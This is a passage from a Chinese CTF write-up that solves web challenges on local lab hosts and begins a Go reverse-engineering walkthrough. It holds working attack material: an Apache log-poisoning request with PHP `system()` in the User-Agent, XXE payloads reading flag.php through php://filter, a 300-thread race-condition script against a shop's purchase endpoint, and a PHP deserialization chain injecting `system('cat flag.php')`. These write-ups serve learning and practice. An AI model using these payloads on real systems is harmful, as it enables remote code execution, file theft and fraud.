</span></span><span class="line"><span class="cl">    <span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$old_file</span> <span class="o">=</span> <span class="nv">$file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$blacklist</span> <span class="k">as</span> <span class="nv">$keyword</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$file</span> <span class="o">=</span> <span class="nx">str_ireplace</span><span class="p">(</span><span class="nv">$keyword</span><span class="p">,</span> <span class="s1">&#39;???&#39;</span><span class="p">,</span> <span class="nv">$file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="nv">$old_file</span> <span class="o">!==</span> <span class="nv">$file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">include</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></div><p>可以明显看到一个利用点<code>include()</code>，但过滤了很多字段，这些字段被替换为<code>???</code>，所以很多伪协议都无法利用。</p>
<p>但由于是<code>include()</code>，读取到符合php代码的格式会默认使用php解析器进行解析，即使是txt文件也会作为代码执行相应内容，所以这个时候我们可以考虑日志包含等姿势。</p>
<p>抓包可以发现服务器使用的是Apache，Apache默认的日志文件路径为<code>/var/log/apache2/access.log</code>，了解日志文件的内容的话我们就应该知道日志文件会记录哪些内容，我们在<code>User-Agent</code>头写入恶意php代码，就可以执行相应命令。没有对头内容进行审核和过滤，所以直接打通。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">GET</span> <span class="o">/</span><span class="err">?</span><span class="n">file</span><span class="o">=/</span><span class="k">var</span><span class="o">/</span><span class="nb">log</span><span class="o">/</span><span class="n">apache2</span><span class="o">/</span><span class="n">access</span><span class="o">.</span><span class="n">log</span> <span class="n">HTTP</span><span class="o">/</span><span class="mf">1.1</span>
</span></span><span class="line"><span class="cl"><span class="n">Host</span><span class="p">:</span> <span class="mf">127.0</span><span class="o">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">33336</span>
</span></span><span class="line"><span class="cl"><span class="n">sec</span><span class="o">-</span><span class="n">ch</span><span class="o">-</span><span class="n">ua</span><span class="p">:</span> <span class="s2">&#34;Chromium&#34;</span><span class="p">;</span><span class="n">v</span><span class="o">=</span><span class="s2">&#34;131&#34;</span><span class="p">,</span> <span class="s2">&#34;Not_A Brand&#34;</span><span class="p">;</span><span class="n">v</span><span class="o">=</span><span class="s2">&#34;24&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">sec</span><span class="o">-</span><span class="n">ch</span><span class="o">-</span><span class="n">ua</span><span class="o">-</span><span class="n">mobile</span><span class="p">:</span> <span class="err">?</span><span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="n">sec</span><span class="o">-</span><span class="n">ch</span><span class="o">-</span><span class="n">ua</span><span class="o">-</span><span class="n">platform</span><span class="p">:</span> <span class="s2">&#34;Windows&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">Accept</span><span class="o">-</span><span class="n">Language</span><span class="p">:</span> <span class="n">zh</span><span class="o">-</span><span class="n">CN</span><span class="p">,</span><span class="n">zh</span><span class="p">;</span><span class="n">q</span><span class="o">=</span><span class="mf">0.9</span>
</span></span><span class="line"><span class="cl"><span class="n">Upgrade</span><span class="o">-</span><span class="n">Insecure</span><span class="o">-</span><span class="n">Requests</span><span class="p">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">User</span><span class="o">-</span><span class="n">Agent</span><span class="p">:</span> <span class="o">&lt;</span><span class="err">?</span><span class="n">php</span> <span class="n">system</span><span class="p">(</span><span class="s1">&#39;ls&#39;</span><span class="p">);</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="n">Accept</span><span class="p">:</span> <span class="n">text</span><span class="o">/</span><span class="n">html</span><span class="p">,</span><span class="n">application</span><span class="o">/</span><span class="n">xhtml</span><span class="o">+</span><span class="n">xml</span><span class="p">,</span><span class="n">application</span><span class="o">/</span><span class="n">xml</span><span class="p">;</span><span class="n">q</span><span class="o">=</span><span class="mf">0.9</span><span class="p">,</span><span class="n">image</span><span class="o">/</span><span class="n">avif</span><span class="p">,</span><span class="n">image</span><span class="o">/</span><span class="n">webp</span><span class="p">,</span><span class="n">image</span><span class="o">/</span><span class="n">apng</span><span class="p">,</span><span class="o">*/*</span><span class="p">;</span><span class="n">q</span><span class="o">=</span><span class="mf">0.8</span><span class="p">,</span><span class="n">application</span><span class="o">/</span><span class="n">signed</span><span class="o">-</span><span class="n">exchange</span><span class="p">;</span><span class="n">v</span><span class="o">=</span><span class="n">b3</span><span class="p">;</span><span class="n">q</span><span class="o">=</span><span class="mf">0.7</span>
</span></span><span class="line"><span class="cl"><span class="n">Sec</span><span class="o">-</span><span class="n">Fetch</span><span class="o">-</span><span class="n">Site</span><span class="p">:</span> <span class="n">none</span>
</span></span><span class="line"><span class="cl"><span class="n">Sec</span><span class="o">-</span><span class="n">Fetch</span><span class="o">-</span><span class="n">Mode</span><span class="p">:</span> <span class="n">navigate</span>
</span></span><span class="line"><span class="cl"><span class="n">Sec</span><span class="o">-</span><span class="n">Fetch</span><span class="o">-</span><span class="n">User</span><span class="p">:</span> <span class="err">?</span><span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">Sec</span><span class="o">-</span><span class="n">Fetch</span><span class="o">-</span><span class="n">Dest</span><span class="p">:</span> <span class="n">document</span>
</span></span><span class="line"><span class="cl"><span class="n">Accept</span><span class="o">-</span><span class="n">Encoding</span><span class="p">:</span> <span class="n">gzip</span><span class="p">,</span> <span class="n">deflate</span><span class="p">,</span> <span class="n">br</span>
</span></span><span class="line"><span class="cl"><span class="n">Connection</span><span class="p">:</span> <span class="n">keep</span><span class="o">-</span><span class="n">alive</span>
</span></span></code></pre></div><p>后面就是命令注入的事了，读取一下当前文件目录就可以存放flag的f1444g.php就在当下目录，后面直接读取文件就可以了。</p>
<h3 id="thinkxxe">
<a class="header-anchor" href="#thinkxxe"></a>
thinkxxe
</h3><p>进入题目就会发现是一个留言板界面，随便输入点内容可以发现我们输入的内容会呈现在前端。我们的输入可以影响前端渲染最容易想到的就是xxe，模版注入，xss等，但这里我们可以看到不少提示，输入框中的输入模版明显是xml语句，这个时候其实已经蛮明显的了，方向就是xxe。</p>
<p>上面还有一个提示<code>上一个人留下的是name</code>，可以大胆猜测我们可以利用的标签就是<code>name</code>，测试后我们就可以确认了。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;
</span></span><span class="line"><span class="cl">&lt;!DOCTYPE foo [
</span></span><span class="line"><span class="cl">&lt;!ENTITY xxe &#34;hello&#34;&gt;
</span></span><span class="line"><span class="cl">]&gt;
</span></span><span class="line"><span class="cl">&lt;root&gt;
</span></span><span class="line"><span class="cl">    &lt;name&gt;&amp;xxe;&lt;/name&gt;
</span></span><span class="line"><span class="cl">&lt;/root&gt;
</span></span></code></pre></div><p>后面就可以利用伪协议加xxe的组合技来读取我们想要的文件。至于具体要读取哪些文件，我们可以先看看有没有什么其他页面。可以用dirsearch扫描一下有没有其他接口，发现有flag.php，但直接进入可以发现我们看不到flag内容，是因为我们只能读取php输出的内容，无法直接读取到源码内的内容，此时可以想到<code>php:filter</code>读取文件内容</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;
</span></span><span class="line"><span class="cl">&lt;!DOCTYPE foo [
</span></span><span class="line"><span class="cl">&lt;!ENTITY xxe SYSTEM &#34;php://filter/convert.base64-encode/resource=flag.php&#34;&gt;
</span></span><span class="line"><span class="cl">]&gt;
</span></span><span class="line"><span class="cl">&lt;root&gt;
</span></span><span class="line"><span class="cl">    &lt;name&gt;&amp;xxe;&lt;/name&gt;
</span></span><span class="line"><span class="cl">&lt;/root&gt;
</span></span></code></pre></div><h3 id="shopping">
<a class="header-anchor" href="#shopping"></a>
shopping
</h3><p>进入题目是一个注册登录界面，我们注册一个账号登录后发现初始存在1000资金，商品中存在flag商品，但价格比较高，我们的钱不够，但发现有一个商品可以买100赠200，可惜只可以买一次。但可以观察发现购买时我们需要加载的时间比较长，大概率我们购买到更新的整个流程并非原子性操作，存在可竞争的窗口。我们只要在数据库覆盖代金券的有效性更新前，多购买几次就可以。</p>
<p>可以用burp发包，也可以用脚本直接做，脚本如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">import requests, threading, re
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">BASE = &#39;http://127.0.0.1:33334&#39;
</span></span><span class="line"><span class="cl">USER = &#39;hackerr&#39;
</span></span><span class="line"><span class="cl">PASS = &#39;123&#39;
</span></span><span class="line"><span class="cl">NUM_THREADS = 300
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"># 先注册一个账号
</span></span><span class="line"><span class="cl">def get_logged_session():
</span></span><span class="line"><span class="cl">    sess = requests.Session()
</span></span><span class="line"><span class="cl">    sess.post(f&#39;{BASE}/index.php&#39;, data={&#39;login&#39;: &#39;&#39;, &#39;username&#39;: USER, &#39;password&#39;: PASS})
</span></span><span class="line"><span class="cl">    return sess
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">def buy(idx):
</span></span><span class="line"><span class="cl">    # 每个线程独立 Session，完全避免互相干扰
</span></span><span class="line"><span class="cl">    s = get_logged_session()
</span></span><span class="line"><span class="cl">    r = s.post(f&#39;{BASE}/buy.php&#39;, data={&#39;product_id&#39;: &#39;1&#39;}, allow_redirects=False)
</span></span><span class="line"><span class="cl">    print(f&#34;[{idx}] {r.status_code} -&gt; {r.headers.get(&#39;Location&#39;)}&#34;)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">threads = [threading.Thread(target=buy, args=(i,)) for i in range(NUM_THREADS)]
</span></span><span class="line"><span class="cl">for t in threads: t.start()
</span></span><span class="line"><span class="cl">for t in threads: t.join()
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"># 最后用一个 Session 查看余额
</span></span><span class="line"><span class="cl">s_final = get_logged_session()
</span></span><span class="line"><span class="cl">r = s_final.get(f&#39;{BASE}/dashboard.php&#39;)
</span></span><span class="line"><span class="cl">balance = re.search(r&#39;余额：(\d+)&#39;, r.text)
</span></span><span class="line"><span class="cl">print(&#34;最终余额:&#34;, balance.group(1) if balance else &#34;unknown&#34;)
</span></span></code></pre></div><h3 id="serlize">
<a class="header-anchor" href="#serlize"></a>
serlize
</h3><p>源码太长就不贴了，来看一下关键部分</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">class nF9rV6sL
</span></span><span class="line"><span class="cl">public function zQ4mN8rL($cmd) {
</span></span><span class="line"><span class="cl">        if (is_string($cmd)) {
</span></span><span class="line"><span class="cl">            $f1 = create_function(&#39;$a&#39;,$cmd);
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">        return false;
</span></span><span class="line"><span class="cl">    }
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">class pQ5mW8nL    
</span></span><span class="line"><span class="cl">public function wT8mF4qN($command, $output) {
</span></span><span class="line"><span class="cl">        if (is_string($command) &amp;&amp; strlen($command) &gt; 0) {
</span></span><span class="line"><span class="cl">            return $this-&gt;mG6rL9fK-&gt;zQ4mN8rL($command);
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">        return false;
</span></span><span class="line"><span class="cl">    }
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">class bT4yH7uI   
</span></span><span class="line"><span class="cl">public function fM6nQ3rL($code, $data) {
</span></span><span class="line"><span class="cl">        return $this-&gt;kF9mR3qL-&gt;wT8mF4qN($code, $data);
</span></span><span class="line"><span class="cl">    }
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">class xF9mQ2vL
</span></span><span class="line"><span class="cl">public function mQ8fL3nR($param1, $param2) {
</span></span><span class="line"><span class="cl">        if ($this-&gt;aY5nU0gJ &amp;&amp; $this-&gt;vK1rE8pZ) {
</span></span><span class="line"><span class="cl">            return $this-&gt;hL4nQ9mP-&gt;fM6nQ3rL($this-&gt;aY5nU0gJ, $this-&gt;vK1rE8pZ);
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">        return false;
</span></span><span class="line"><span class="cl">    }
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">class kY6rM3eL   
</span></span><span class="line"><span class="cl">public function rN7mK4qL() {
</span></span><span class="line"><span class="cl">        $this-&gt;wH4mK9pL-&gt;mQ8fL3nR($this-&gt;sT6vR3qN, $this-&gt;jL8fY2mK);
</span></span><span class="line"><span class="cl">        return &#39;kY6rM3eL_method&#39;;
</span></span><span class="line"><span class="cl">    }
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">class wJ4qV3jM 
</span></span><span class="line"><span class="cl">public function __get($name) {
</span></span><span class="line"><span class="cl">        if ($name === &#39;zX3aB7wQ&#39; &amp;&amp; $this-&gt;rT6mQ3xK) {
</span></span><span class="line"><span class="cl">            return $this-&gt;rT6mQ3xK-&gt;rN7mK4qL();
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">        return null;
</span></span><span class="line"><span class="cl">    }
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">class wJ4qV3jM    
</span></span><span class="line"><span class="cl">public function __toString() {
</span></span><span class="line"><span class="cl">        return $this-&gt;pL8vN4mR-&gt;zX3aB7wQ;
</span></span><span class="line"><span class="cl">    }
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">class oC4tF3aU    
</span></span><span class="line"><span class="cl">public function __destruct() {
</span></span><span class="line"><span class="cl">        $this-&gt;hD6yV6eY-&gt;aY5nU0gJ = $this-&gt;aY5nU0gJ;
</span></span><span class="line"><span class="cl">        $this-&gt;hD6yV6eY-&gt;vK1rE8pZ = $this-&gt;vK1rE8pZ;
</span></span><span class="line"><span class="cl">        echo $this-&gt;hD6yV6eY;
</span></span><span class="line"><span class="cl">    }
</span></span></code></pre></div><p>所以最后的链：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span> <span class="o">=</span> <span class="n">new</span> <span class="n">oC4tF3aU</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span> <span class="o">=</span> <span class="n">new</span> <span class="n">wJ4qV3jM</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span> <span class="o">=</span> <span class="n">new</span> <span class="n">wJ4qV3jM</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span><span class="o">-&gt;</span><span class="n">rT6mQ3xK</span> <span class="o">=</span> <span class="n">new</span> <span class="n">kY6rM3eL</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span><span class="o">-&gt;</span><span class="n">rT6mQ3xK</span><span class="o">-&gt;</span><span class="n">wH4mK9pL</span> <span class="o">=</span> <span class="n">new</span> <span class="n">xF9mQ2vL</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span><span class="o">-&gt;</span><span class="n">rT6mQ3xK</span><span class="o">-&gt;</span><span class="n">sT6vR3qN</span><span class="o">=</span><span class="s2">&#34;test1&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span><span class="o">-&gt;</span><span class="n">rT6mQ3xK</span><span class="o">-&gt;</span><span class="n">jL8fY2mK</span><span class="o">=</span><span class="s2">&#34;test2&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span><span class="o">-&gt;</span><span class="n">rT6mQ3xK</span><span class="o">-&gt;</span><span class="n">wH4mK9pL</span><span class="o">-&gt;</span><span class="n">hL4nQ9mP</span> <span class="o">=</span> <span class="n">new</span> <span class="n">bT4yH7uI</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span><span class="o">-&gt;</span><span class="n">rT6mQ3xK</span><span class="o">-&gt;</span><span class="n">wH4mK9pL</span><span class="o">-&gt;</span><span class="n">aY5nU0gJ</span> <span class="o">=</span> <span class="s2">&#34;return &#39;mmkjhhsd&#39;;}system(&#39;cat flag.php&#39;);/*&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span><span class="o">-&gt;</span><span class="n">rT6mQ3xK</span><span class="o">-&gt;</span><span class="n">wH4mK9pL</span><span class="o">-&gt;</span><span class="n">vK1rE8pZ</span> <span class="o">=</span> <span class="s2">&#34;test4&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span><span class="o">-&gt;</span><span class="n">rT6mQ3xK</span><span class="o">-&gt;</span><span class="n">wH4mK9pL</span><span class="o">-&gt;</span><span class="n">hL4nQ9mP</span><span class="o">-&gt;</span><span class="n">kF9mR3qL</span> <span class="o">=</span> <span class="n">new</span> <span class="n">pQ5mW8nL</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">payload</span><span class="o">-&gt;</span><span class="n">hD6yV6eY</span><span class="o">-&gt;</span><span class="n">pL8vN4mR</span><span class="o">-&gt;</span><span class="n">rT6mQ3xK</span><span class="o">-&gt;</span><span class="n">wH4mK9pL</span><span class="o">-&gt;</span><span class="n">hL4nQ9mP</span><span class="o">-&gt;</span><span class="n">kF9mR3qL</span><span class="o">-&gt;</span><span class="n">mG6rL9fK</span> <span class="o">=</span> <span class="n">new</span> <span class="n">nF9rV6sL</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="n">echo</span> <span class="n">base64_encode</span><span class="p">(</span><span class="n">serialize</span><span class="p">(</span><span class="o">$</span><span class="n">payload</span><span class="p">));</span>
</span></span></code></pre></div><h2 id="resever">
<a class="header-anchor" href="#resever"></a>
Resever
</h2><h3 id="go-go-go">
<a class="header-anchor" href="#go-go-go"></a>
go go go
</h3><p>运行观察</p>
<p>运行程序后会看到提示：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">tiny go vault &gt;
</span></span></code></pre></div><p>随便输入一段内容，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">test
</span></span></code></pre></div><p>程序输出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">locked
</span></span></code></pre></div><p>输入正确 flag 时输出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">unlocked
</span></span></code></pre></div><p>因此可以判断程序逻辑大致是：</p>
<ol>
<li>读取用户输入。</li>
<li>调用某个校验函数。</li>
<li>校验成功输出 <code>unlocked</code>，否则输出 <code>locked</code>。</li>
</ol>
<p>用 IDA 分析 Go 二进制时，反编译结果会混入很多 Go runtime、切片分配、栈检查相关逻辑，所以伪 C 通常比较乱。分析时不需要逐行理解所有变量，只要抓住长度判断、字符串常量、异或、循环、函数调用和最终比较即可。</p>
<p>例如外层校验函数可能会反编译成类似下面的形式：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="n">n10</span> <span class="o">!=</span> <span class="mi">22</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span></code></pre></div><p>这里 <code>n10</code> 是输入字符串长度，所以可以直接得到：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">输入总长度 = 22
</span></span></code></pre></div><p>继续看前缀相关逻辑：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v15</span> <span class="o">=</span> <span class="n">off_14018CAD0</span><span class="p">;</span>  <span class="c1">// &#34;W]PVJ&#34;
</span></span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">i</span> <span class="o">&lt;</span> <span class="n">n0x20</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">a7</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v15</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="mh">0x31</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v13</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span> <span class="o">=</span> <span class="n">a7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>off_14018CAD0</code> 指向字符串 <code>&quot;W]PVJ&quot;</code>，循环里每个字节都异或 <code>0x31</code>。因此可以写脚本还原：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x31</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="s2">&#34;W]PVJ&#34;</span><span class="p">))</span>
</span></span></code></pre></div><p>输出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">b&#39;flag{&#39;
</span></span></code></pre></div><p>随后会看到类似的比较逻辑：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="n">i_1</span> <span class="o">==</span> <span class="mi">5</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">n5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nf">LODWORD</span><span class="p">(</span><span class="n">v15</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">while</span> <span class="p">(</span> <span class="n">n5</span> <span class="o">&lt;</span> <span class="mi">5</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">LODWORD</span><span class="p">(</span><span class="n">n0x20</span><span class="p">)</span> <span class="o">=</span> <span class="n">a1</span><span class="p">[</span><span class="n">n5</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">a7</span> <span class="o">=</span> <span class="n">n0x20</span> <span class="o">^</span> <span class="o">*</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)</span><span class="n">v13</span> <span class="o">+</span> <span class="n">n5</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">LODWORD</span><span class="p">(</span><span class="n">v15</span><span class="p">)</span> <span class="o">=</span> <span class="n">a7</span> <span class="o">|</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">v15</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">++</span><span class="n">n5</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">v19</span> <span class="o">=</span> <span class="p">(</span><span class="n">_BYTE</span><span class="p">)</span><span class="n">v15</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>这段看起来复杂，本质是逐字节异或比较：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">diff</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="n">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">diff</span> <span class="o">|=</span> <span class="n">input</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">prefix</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">return</span> <span class="n">diff</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>
</span></span></code></pre></div><p>因此它是在检查输入前 5 字节是否等于 <code>flag{</code>。</p>
<p>后缀判断更直接：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="n">v11</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">125</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span></code></pre></div><p><code>125</code> 是 ASCII 字符 <code>}</code>，说明第 21 个下标必须是右大括号。由于下标从 0 开始，总长度又是 22，所以这是最后一个字符。</p>
<p>此时已经可以确定格式：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">flag{????????????????}
</span></span></code></pre></div><p>中间未知部分为 16 字节。</p>
<p>接着看中间部分的复制：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v21</span> <span class="o">=</span> <span class="n">v11</span> <span class="o">+</span> <span class="mi">5</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="n">v38</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="n">v21</span><span class="p">;</span>
</span></span></code></pre></div><p><code>v11 + 5</code> 表示跳过前 5 字节，也就是跳过 <code>flag{</code>。<code>v38[0] = *v21</code> 中 <code>v38</code> 是 <code>_OWORD</code>，一个 <code>_OWORD</code> 是 16 字节，所以这里相当于复制：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">body</span> <span class="o">=</span> <span class="n">input</span><span class="p">[</span><span class="mi">5</span><span class="o">:</span><span class="mi">21</span><span class="p">];</span>
</span></span></code></pre></div><p>也就是取出 flag 中间的 16 字节内容。</p>
<p>密钥还原逻辑一般长这样：</p>
